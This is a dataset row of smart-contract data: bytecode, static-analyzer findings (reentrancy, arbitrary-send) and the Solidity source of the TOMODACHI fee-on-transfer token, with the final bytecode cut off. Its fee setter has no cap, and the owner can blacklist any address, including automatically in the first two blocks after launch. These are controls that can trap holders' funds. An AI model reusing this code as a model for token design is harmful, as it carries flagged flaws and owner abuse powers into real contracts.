3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a7297025afa53b1ba8c9e2eccc671a1e222768f05a0447c0f69592637b8bc9ea64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 824 |
0x3954CEf10d35712E1F7C40536C99A73eADbc8C0f | /**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
Tomodachi Games : https://t.me/tomodachigameETH
Buy back with the treasury at every new episode release (weekly).
Always trust your friends.
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TOMODACHI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TOMODACHI GAMES";//
string private constant _symbol = "TOMODACHI";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 13;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xa8eF854851aBE7Ca87dcE8b8585b09E0144bfA21);//
address payable private _marketingAddress = payable(0xa8eF854851aBE7Ca87dcE8b8585b09E0144bfA21);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 16000000000 * 10**9; //
uint256 public _maxWalletSize = 33000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610553578063dd62ed3e14610569578063ea1644d5146105af578063f2fde38b146105cf57600080fd5b8063a9059cbb146104ce578063bfd79284146104ee578063c3c8cd801461051e578063c492f0461461053357600080fd5b80638f9a55c0116100d15780638f9a55c01461044657806395d89b411461045c57806398a5c3151461048e578063a2a957bb146104ae57600080fd5b80637d1db4a5146103f25780638da5cb5b146104085780638f70ccf71461042657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b6f565b6105ef565b005b34801561020a57600080fd5b5060408051808201909152600f81526e544f4d4f44414348492047414d455360881b60208201525b60405161023f9190611ca1565b60405180910390f35b34801561025457600080fd5b50610268610263366004611abf565b61068e565b604051901515815260200161023f565b34801561028457600080fd5b50601554610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50683635c9adc5dea000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611a7e565b6106a5565b34801561030257600080fd5b506102c860195481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601654610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611a0b565b61070e565b34801561037457600080fd5b506101fc610383366004611c3b565b610759565b34801561039457600080fd5b506101fc6107a1565b3480156103a957600080fd5b506102c86103b8366004611a0b565b6107ec565b3480156103c957600080fd5b506101fc61080e565b3480156103de57600080fd5b506101fc6103ed366004611c56565b610882565b3480156103fe57600080fd5b506102c860175481565b34801561041457600080fd5b506000546001600160a01b0316610298565b34801561043257600080fd5b506101fc610441366004611c3b565b6108b1565b34801561045257600080fd5b506102c860185481565b34801561046857600080fd5b50604080518082019091526009815268544f4d4f444143484960b81b6020820152610232565b34801561049a57600080fd5b506101fc6104a9366004611c56565b6108fd565b3480156104ba57600080fd5b506101fc6104c9366004611c6f565b61092c565b3480156104da57600080fd5b506102686104e9366004611abf565b61096a565b3480156104fa57600080fd5b50610268610509366004611a0b565b60116020526000908152604090205460ff1681565b34801561052a57600080fd5b506101fc610977565b34801561053f57600080fd5b506101fc61054e366004611aeb565b6109cb565b34801561055f57600080fd5b506102c860085481565b34801561057557600080fd5b506102c8610584366004611a45565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bb57600080fd5b506101fc6105ca366004611c56565b610a6c565b3480156105db57600080fd5b506101fc6105ea366004611a0b565b610a9b565b6000546001600160a01b031633146106225760405162461bcd60e51b815260040161061990611cf6565b60405180910390fd5b60005b815181101561068a5760016011600084848151811061064657610646611e3d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068281611e0c565b915050610625565b5050565b600061069b338484610b85565b5060015b92915050565b60006106b2848484610ca9565b61070484336106ff85604051806060016040528060288152602001611e7f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611267565b610b85565b5060019392505050565b6000546001600160a01b031633146107385760405162461bcd60e51b815260040161061990611cf6565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107835760405162461bcd60e51b815260040161061990611cf6565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d657506014546001600160a01b0316336001600160a01b0316145b6107df57600080fd5b476107e9816112a1565b50565b6001600160a01b03811660009081526002602052604081205461069f90611326565b6000546001600160a01b031633146108385760405162461bcd60e51b815260040161061990611cf6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ac5760405162461bcd60e51b815260040161061990611cf6565b601755565b6000546001600160a01b031633146108db5760405162461bcd60e51b815260040161061990611cf6565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109275760405162461bcd60e51b815260040161061990611cf6565b601955565b6000546001600160a01b031633146109565760405162461bcd60e51b815260040161061990611cf6565b600993909355600b91909155600a55600c55565b600061069b338484610ca9565b6013546001600160a01b0316336001600160a01b031614806109ac57506014546001600160a01b0316336001600160a01b0316145b6109b557600080fd5b60006109c0306107ec565b90506107e9816113aa565b6000546001600160a01b031633146109f55760405162461bcd60e51b815260040161061990611cf6565b60005b82811015610a66578160056000868685818110610a1757610a17611e3d565b9050602002016020810190610a2c9190611a0b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5e81611e0c565b9150506109f8565b50505050565b6000546001600160a01b03163314610a965760405162461bcd60e51b815260040161061990611cf6565b601855565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260040161061990611cf6565b6001600160a01b038116610b2a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610619565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610619565b6001600160a01b038216610c485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610619565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610619565b6001600160a01b038216610d6f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610619565b60008111610dd15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610619565b6000546001600160a01b03848116911614801590610dfd57506000546001600160a01b03838116911614155b1561116057601654600160a01b900460ff16610e96576000546001600160a01b03848116911614610e965760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610619565b601754811115610ee85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610619565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2a57506001600160a01b03821660009081526011602052604090205460ff16155b610f825760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610619565b600854610f90906002611d9c565b4311158015610fac57506016546001600160a01b038481169116145b8015610fc657506015546001600160a01b03838116911614155b8015610fdb57506001600160a01b0382163014155b15611004576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110895760185481611026846107ec565b6110309190611d9c565b106110895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610619565b6000611094306107ec565b6019546017549192508210159082106110ad5760175491505b8080156110c45750601654600160a81b900460ff16155b80156110de57506016546001600160a01b03868116911614155b80156110f35750601654600160b01b900460ff165b801561111857506001600160a01b03851660009081526005602052604090205460ff16155b801561113d57506001600160a01b03841660009081526005602052604090205460ff16155b1561115d5761114b826113aa565b47801561115b5761115b476112a1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a257506001600160a01b03831660009081526005602052604090205460ff165b806111d457506016546001600160a01b038581169116148015906111d457506016546001600160a01b03848116911614155b156111e15750600061125b565b6016546001600160a01b03858116911614801561120c57506015546001600160a01b03848116911614155b1561121e57600954600d55600a54600e555b6016546001600160a01b03848116911614801561124957506015546001600160a01b03858116911614155b1561125b57600b54600d55600c54600e555b610a6684848484611533565b6000818484111561128b5760405162461bcd60e51b81526004016106199190611ca1565b5060006112988486611df5565b95945050505050565b6013546001600160a01b03166108fc6112bb836002611561565b6040518115909202916000818181858888f193505050501580156112e3573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112fe836002611561565b6040518115909202916000818181858888f1935050505015801561068a573d6000803e3d6000fd5b600060065482111561138d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01